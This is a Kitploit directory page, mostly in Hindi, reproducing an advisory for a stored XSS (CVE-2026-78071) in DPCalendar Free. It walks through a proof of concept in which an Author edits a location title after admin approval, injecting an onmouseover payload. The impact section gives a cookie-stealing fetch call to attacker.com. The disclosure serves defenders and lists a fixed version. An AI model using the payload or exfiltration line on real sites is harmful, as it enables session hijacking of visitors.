Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-78071 — स्टोर्ड XSS DPCalendar Free में Location Title के माध्यम से | Kitploit
उपकरण/GitHubGitHub/toanln-cov/cve-2026-78071
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षा
GitHubtoanln-cov/cve-2026-78071

CVE-2026-78071

स्टोर्ड XSS DPCalendar Free में Location Title के माध्यम से

रिपॉजिटरी देखें
11घं 42मि पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

DPCalendar Free में Location Title के माध्यम से Stored XSS

DPCalendar Free ≤ 10.11.2 — Author-Role उपयोगकर्ता Content Review को बायपास करके Location Title के जरिए Persistent XSS इंजेक्ट करता है, जो किसी भी विज़िटर के Hover करने पर ट्रिगर होता है

CVE CVSS CWE-79 Affected Researcher


सारांश

$location->title फ़ील्ड को default_locations.php में htmlspecialchars() के बिना रेंडर किया जाता है। Joomla का सर्वर-साइड InputFilter::clean() स्ट्रिंग फ़ील्ड्स से और हटा देता है, लेकिन की अनुमति देता है, जिससे Author-role उपयोगकर्ता HTML attribute context से बाहर निकल सकता है। जब कोई भी विज़िटर किसी event page के Location information section पर hover करता है, तो इंजेक्ट किया गया handler उनके browser session में मनमाना JavaScript निष्पादित करता है।

<
>
"
onmouseover

एक दूसरा design flaw इस प्रभाव को और बढ़ाता है: EventController::allowEdit() केवल created_by == current_user की जाँच करता है — यह event publication state की जाँच नहीं करता। एक Author एक benign event बना सकता है, उसे administrator द्वारा publish करवा सकता है, और फिर publication के बाद linked location के title को संपादित करके उसे silently weaponize कर सकता है, जिससे content review पूरी तरह बायपास हो जाती है। XSS payload moderation के बाद इंजेक्ट किया जाता है; administrators इसे अपनी review cycle के दौरान कभी नहीं देखते।


प्रभावित संस्करण

COMPONENTVULNERABLETESTED ONFIXED
DPCalendar Free≤ 10.11.2Joomla 6.1.2 + DPCalendar Free 10.11.2 (PHP 8.3 / Apache)10.12.0

भेद्यता विवरण

प्रकार: Stored Cross-Site Scripting / Improper Output Encoding (CWE-79) आवश्यक प्रमाणीकरण: Author role — frontend उपयोगकर्ता (Joomla group 4, events बनाने के लिए न्यूनतम) फ़ाइल: site/tmpl/event/default_locations.php

मूल कारण

$location->title को default_locations.php में दो output contexts में सीधे — बिना htmlspecialchars() के — echo किया जाता है। Attribute context web UI के माध्यम से exploit करने योग्य sink है, क्योंकि Joomla का InputFilter <> को ब्लॉक करता है लेकिन " को बिना बदले पास कर देता है।

DEFAULT_LOCATIONS.PHP — भेद्य OUTPUT SINKS

root@kitploit:~
// Sink 1 — text content (HTML injection; <> web UI के माध्यम से InputFilter द्वारा हटा दिया जाता है)
<span class="dp-location__title"><?php echo $location->title; ?></span>

// Sink 2 — HTML attribute (attribute injection; " InputFilter से पास हो जाता है)
<div class="dp-location__details"
     data-title="<?php echo $location->title; ?>"

New Location" onmouseover="alert(document.domain) जैसा title मान सर्वर द्वारा बिना बदले संग्रहीत किया जाता है। Output पर, Sink 2 इस प्रकार रेंडर होता है:

root@kitploit:~
<div class="dp-location__details"
     data-title="New Location" onmouseover="alert(document.domain)"

onmouseover attribute रेंडर किए गए DOM में एक live event handler बन जाता है।

Publication-State जाँच का अभाव

EventController::allowEdit() किसी भी Author को उनके अपने events के लिए publication state की परवाह किए बिना edit access प्रदान करता है। एक attacker admin review के लिए एक सामान्य event submit करके trust स्थापित करता है, फिर — admin द्वारा publication के बाद — XSS payload इंजेक्ट करने के लिए linked location को silently संपादित करता है:

SITE/SRC/CONTROLLER/EVENTCONTROLLER.PHP — ALLOWEDIT() में STATE CHECK का अभाव

root@kitploit:~
protected function allowEdit($data = [], $key = 'id')
{
    // ...
    return $calendar instanceof CalendarInterface &&
           ($calendar->canEdit() ||
            ($calendar->canEditOwn() &&
             $event->created_by == $this->getCurrentUser()->id));
    // ↑ $event->state पर कोई जाँच नहीं — published events Author द्वारा editable रहते हैं
}

PROOF OF CONCEPT

1. Author-role उपयोगकर्ता के रूप में लॉग इन करें

Frontend login form पर जाएँ और Author account (Joomla group 4 — events और locations बनाने के लिए न्यूनतम आवश्यक) से लॉग इन करें।

Step 1 — Login as Author

2. एक legitimate location के साथ एक सामान्य event बनाएँ

/index.php?option=com_dpcalendar&view=form पर जाएँ। एक साफ़ title के साथ event बनाएँ और कोई भी मौजूदा location (जैसे "Greater London") attach करें। यह payload पेश करने से पहले Author की legitimacy स्थापित करता है।

Step 2 — Create benign event form

Step 3 — Attach legitimate location before saving

3. Administrator द्वारा event publish करने की प्रतीक्षा करें

Event review के लिए submit किया जाता है। एक administrator लॉग इन करता है और इसे DPCalendar backend से publish करता है। Event अब live है और सभी site visitors को दिखाई देता है।

Step 4 — Admin publishes the event

4. Published event पर लौटें और location को editing के लिए खोलें

Author के रूप में, published event page पर जाएँ। Edit Event बटन दिखाई देता रहता है — allowEdit() publication state की जाँच नहीं करता। Edit Event पर क्लिक करें, Location tab पर जाएँ, और locationform खोलने के लिए pencil icon पर क्लिक करें।

Step 5 — Edit icon still available after admin publish

5. Location title फ़ील्ड में XSS payload इंजेक्ट करें

Location name को payload से बदलें। Joomla का InputFilter " को पास कर देता है — payload बिना बदले save हो जाता है और output पर HTML attribute context को तोड़ देता है:

PAYLOAD — TITLE FIELD (LOCATIONFORM)

root@kitploit:~
New Location" onmouseover="alert(document.domain)

Step 6 — Inject XSS payload in location title field

Save पर क्लिक करें।

6. Event page का कोई भी विज़िटर hover पर XSS ट्रिगर करता है

जब कोई भी उपयोगकर्ता — authenticated या anonymous — event detail page पर जाता है और अपना cursor Location information section पर ले जाता है, तो इंजेक्ट किया गया onmouseover handler तुरंत fire होता है। Page पर visit करने के अलावा कोई authentication, click, या आगे की interaction आवश्यक नहीं है।

Step 7 — XSS triggers on hover

Raw payload event page के Location section में दिखाई देता है — unescaped title एक live HTML attribute के रूप में रेंडर होता है:

Step 8 — Event page showing unescaped payload in DOM

Location section पर hover करने से anonymous visitor के browser में alert dialog fire होता है:

Step 9 — XSS alert dialog fired for anonymous visitor


प्रभाव

  1. Session hijacking — इंजेक्ट किया गया handler fetch('//attacker.com/?c='+document.cookie) के माध्यम से victim के session cookie को exfiltrate कर सकता है, जिससे event देखने वाले किसी भी role के लिए पूर्ण account takeover संभव हो जाता है।

  2. Persistent, event-scoped attack surface — Payload तब तक बना रहता है जब तक location title को मैन्युअल रूप से ठीक नहीं किया जाता। Event page पर आने वाला हर उपयोगकर्ता — जिसमें anonymous visitors भी शामिल हैं — exposed होता है। High-traffic events (public conferences, booking pages) victim count को कई गुना बढ़ा देते हैं।

  3. Post-publication trust bypass — क्योंकि Author admin approval के बाद location को silently संशोधित कर सकता है, payload content review के दौरान कभी नहीं देखा जाता। Benign event moderation पास कर जाता है; XSS उसके बाद इंजेक्ट किया जाता है।


संदर्भ

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-78071
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-78071
  • GitHub Advisory: https://github.com/advisories/GHSA-32gf-548r-6r9c
  • Vendor Repository: https://github.com/Digital-Peak/DPCalendar-Free
टूल डाउनलोड करें